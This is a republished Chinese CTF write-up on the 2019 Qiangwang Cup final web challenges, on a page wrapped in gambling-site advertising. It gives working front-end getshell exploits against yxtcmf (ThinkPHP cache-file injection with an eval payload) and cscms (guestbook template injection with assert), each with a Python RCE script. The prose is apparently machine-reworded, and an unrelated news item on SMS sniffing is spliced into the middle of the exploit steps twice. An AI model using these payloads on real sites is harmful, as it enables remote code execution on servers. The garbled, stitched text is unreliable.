实战:2019 强网杯 final Web Writeup | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

实战:2019 强网杯 final Web Writeup

申博_安全防护 申博 167次浏览 未收录 0个评论

申博开户

申博开户以其优越的游戏体验感和娱乐新颖感,拥有了大量的客户群体和优质的用户反馈。在这里,客户就是上帝,客户的要求就是申博的追求,客户的意见就是申博开户宝贵的钻石,为用户量身定制个性化的娱乐方式,让用户体验最美妙、最有价值的娱乐方式。正是申博开户的理念,才让其在同类平台中脱颖而出,成为亚洲最具公信力的网上娱乐平台。

,

序文

强网杯线下赛打的异常happy也异常累,以为这类赛制异常有意思,早就厌倦了web的AD,这类cms的0/1day的挖掘异常带劲,就是和0ctf连着打,以为命都没了。

线下赛共有3道web,分别是1道框架0/1day,2道cms前台getshell的0/1day,然则Laravel框架由于能够也许搜到相干CVE,因而本篇文章不再编写,只剖析其他2个cms。

yxtcmf

信息汇集

拿到这道题时,我先去汇集了相干信息,能够也许发明该cms是一个以thinkphp+bootstrap为框架举办开。能够也许理解为在thinkcmf上举办的二次垦荒。同时相识到是thinkphp3.2.3:

const THINK_VERSION     =   '3.2.3';

同时题目文档形貌,示知我们:

已删除可用的install , admin, UpdateController.class.php和SettingController.class.php文件夹和文件,相干思绪请不要实验以是不难发明,给我们的cms,已没有配景了,以是只能前台getshell(

那末这里我也不赘述本身踩坑的状态了,直奔主题。

thinkphp缓存机制题目

既然晓得cms垦荒框架为thinkphp 3,那末必将会去汇集相干框架破绽信息(由于yxtcmf搜到器械太少了),撤除搜到的一些注入题目,最能直接getshell的就是cache缓存机制的题目

在以下文章:

https://paper.seebug.org/374/

能够也许发明若是我们能够也许应用缓存机制,并计算出缓存文件名,掌握缓存内容,便可getshell。

cache文件名

这里我们跟进yxtcmf的源代码,来到相干文件:

yxtedu/Core/Library/Think/Cache/Driver/File.class.php

能够也许发明cache文件的定名划定规矩以下:

private function filename($name) {
        $name=md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 应用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir.=$name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename=$dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename=$this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

我们存眷到相干信息:

$name=md5(C('DATA_CACHE_KEY').$name);

跟进变量DATA_CACHE_KEY:

实战:2019 强网杯 final Web Writeup

不难发明,该值为空,故此cache文件名为固定值,我们可在当地运转代码,拿到cache文件名。

cache文件内容

晓得了cache文件名,那末怎样掌握cache的文件内容呢?

在垦荒手册中说起,我们能够也许应用S()举办缓存:

实战:2019 强网杯 final Web Writeup

我们跟进S()函数,发明最后会进入set要领:

实战:2019 强网杯 final Web Writeup

我们继续跟进set要领:

实战:2019 强网杯 final Web Writeup

不难发明文件内容的写入安排。注意到写入时候,会默许在最前面加上解释符\\,以是我们能够也许用换行符bypass,歧:

\nvar_dump($_GET[a]);

便可bypass解释符。

既然晓得经过进程S函数能够也许掌握cache文件内容,那末就需要找怎样触发该函数。

我们全局搜刮S(,能够也许发明以下蹊径中,sp_set_dynamic_config有挪用:

application/Common/Common/function.php

实战:2019 强网杯 final Web Writeup

我们存眷变量$configs,发明其会与传入的$data举办array_merge,以是可以为写入内容可控。

cache写入路由

故此我们能够也许全局搜刮函数sp_set_dynamic_config,查找挪用途:

实战:2019 强网杯 final Web Writeup

我们能够也许发明多量路由有相干挪用,然则否真的能够也许应用呢?谜底是不是是定的,由于该cms删除配景,以至于一切需要配景登录的路由均没法应用,一旦挪用,则会触发配景文件入口里的:

header("Location: ../index.php?g=admin&m=public&a=login".$upw );

举办重定向跳转,以是我们必需要找无需配景登入的路由,以到达我们的目标。

这里我寻觅的体式样式比较简单,只需找到没有继续AdminbaseController类的便可。

那末不难发明,在以下文件中,我们能够也许应用:

application/Api/Controller/OauthController.class.php

存眷到其挪用函数处:

function injectionAuthocode(){
        $postdata=I('post.');
        $configs["authoCode"]=$postdata['authoCode'];
        sp_set_dynamic_config($configs);
    }

发明我们能够也许直接经过进程post传参掌握$postdata的值,并应用sp_set_dynamic_config写入缓存文件。

exp编写

那末悉数应用体式样式就异常清楚了:

1.应用以下路由,POST发送歹意数据:

“短信嗅探”来袭,付出宝安然实验室:有我别慌

“短信嗅探”来袭,付出宝安然实验室:有我别慌

近日郑州某小区10多位居民整体遭遇“短信嗅探”盗刷,银行卡被盗了几十万。但随后的视察发明,他们的付出宝账号分文未少。6月17日,付出宝平安实验室泄漏显示,随着风控系统的升级,如今关于绝大多数此类进击,付出宝已能有效防范。 劫持手机短信中的验证码,从而盗取资金账户,这类“短信嗅探”是近年来兴起的一种盗刷手段,一度被以为“防不了”的。据介绍,“短信嗅探”(GSM Sniffing)的原理是不法分子经过历程嗅探GSM旗子暗记,猎取基站周围用户的手机号及短信验证码,然后针对银行卡、第三方付出平台举办盗刷。 由于许多平台应用短信验证码作为登录体式款式

近日郑州某小区10多位居民整体遭遇“短信嗅探”盗刷,银行卡被盗了几十万。但随后的视察发明,他们的付出宝账号分文未少。6月17日,付出宝安然实验室泄漏显示,随着风控系统的升级,如今关于绝大多数此类进击,付出宝已能有效防范。 劫持手机短信中的验证码,从而盗取资金账户,这类“短信嗅探”是近年来兴起的一种盗刷手段,一度被以为“防不了”的。据介绍,“短信嗅探”(GSM Sniffing)的原理是不法分子经过历程嗅探GSM旗子暗记,猎取基站周围用户的手机号及短信验证码,然后针对银行卡、第三方付出平台举办盗刷。 由于许多平台应用短信验证码作为登录体式款式

index.php?g=api&m=oauth&a=injectionAuthocode

2.由于injectionAuthocode要领挪用了sp_set_dynamic_config要领,而sp_set_dynamic_config挪用了S(),致使我们的歹意数据被写入cache。

3.接见cache文件getshell。

exp以下:

import requests
import urllib
host='http://192.168.43.85/'
url=host+'index.php?g=api&m=oauth&a=injectionAuthocode'
data = {
 'authoCode':'\nvar_dump($_GET[a]); @eval($_GET[a]);#'
}
r = requests.post(url=url,data=data)
url = host+'data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php'
data = {
  'a':"system(\"ls\");"
}
r = requests.post(url=url,params=data)
print r.content

cscms

信息汇集

拿到该题后,我第一时候与github上的版本举办了diff,发明以下信息:

实战:2019 强网杯 final Web Writeup

给我们的版本是4.1.75,时候为20170715,而github版本为4.1.8,时候为20170825。

而在cscms官方网站中给出过相干补钉信息:

实战:2019 强网杯 final Web Writeup

因而我敏捷的将眼光锁定在了模板注入上,但很遗憾,官网的补钉下载下来的内容为空,我查询相干破绽形貌也一无所得,因而决议本身手动挖掘。

破绽点挖掘

起首全局搜刮风险函数,歧eval、system、assert等,不难发明以下职位:

upload/cscms/app/models/Csskins.php

个中存在以下函数:   

public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
return $str;
    }

我们注意到这里有显着的eval函数挪用,那末我们查阅甚么职位应用了该函数:

实战:2019 强网杯 final Web Writeup

发明在upload/cscms/app/models/Csskins.php中template_parse函数挪用了cscms_php函数,而template_parse恰是模板剖析函数,与我们的信息汇集局部拍照照应。

模板剖析函数

那末该函数怎样剖析php语句呢?

我们注意到相干安排:

preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
    $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);

发明剖析时会举办正则婚配,掏出以下局部:

/{cscmsphp}([\s\S]+?){\/cscmsphp}/

我们能够也许应用类似于:

{cscmsphp}phpinfo();{/cscmsphp}

来实行敕令。

模板衬着路由

既然找到了相干实行php语句的函数,那末只差一个挪用该函数的路由了。依旧是全局搜刮:

实战:2019 强网杯 final Web Writeup

能够也许发明在留言板恪守中有所挪用,而挪用职位我们看到,在gbook_list要领中:

实战:2019 强网杯 final Web Writeup

其会从数据库中掏出留言,然后举办衬着,那末若是想要触发模板衬着进击,必将需要在留言插进去时,就写入歹意数据,我们检察留言写入路由:

实战:2019 强网杯 final Web Writeup

即挪用add便可写入数据,插进去数据库。

同时经过当地测试发明:

实战:2019 强网杯 final Web Writeup

单引号会被转义,但我们的shell无需单引号:

实战:2019 强网杯 final Web Writeup

并且在接见index.php/gbook/lists/1时,会触发相干代码:

实战:2019 强网杯 final Web Writeup

exp编写

故此悉数流程变得异常随便纰漏:

起首接见路由:

http://192.168.43.85/upload/index.php/gbook

举办留言,留言内容为:

{cscmsphp}assert($_GET[sky]);{/cscmsphp}

然后运转剧本,可举办RCE:

import requests
import urllib
host='http://192.168.43.85/'
url=host+'upload/index.php/gbook/lists/1'
data = {
 'sky':r"system('ls');"
}
r = requests.get(url=url,params=data)
print r.content

跋文

整体来讲,如许的竞技形势越发风趣,更切近实在状态,能够也许让参赛职员在竞赛进程当中进步对cms破绽挖掘才能。

原文地点: https://www.4hou.com/web/18587.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明实战:2019 强网杯 final Web Writeup
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址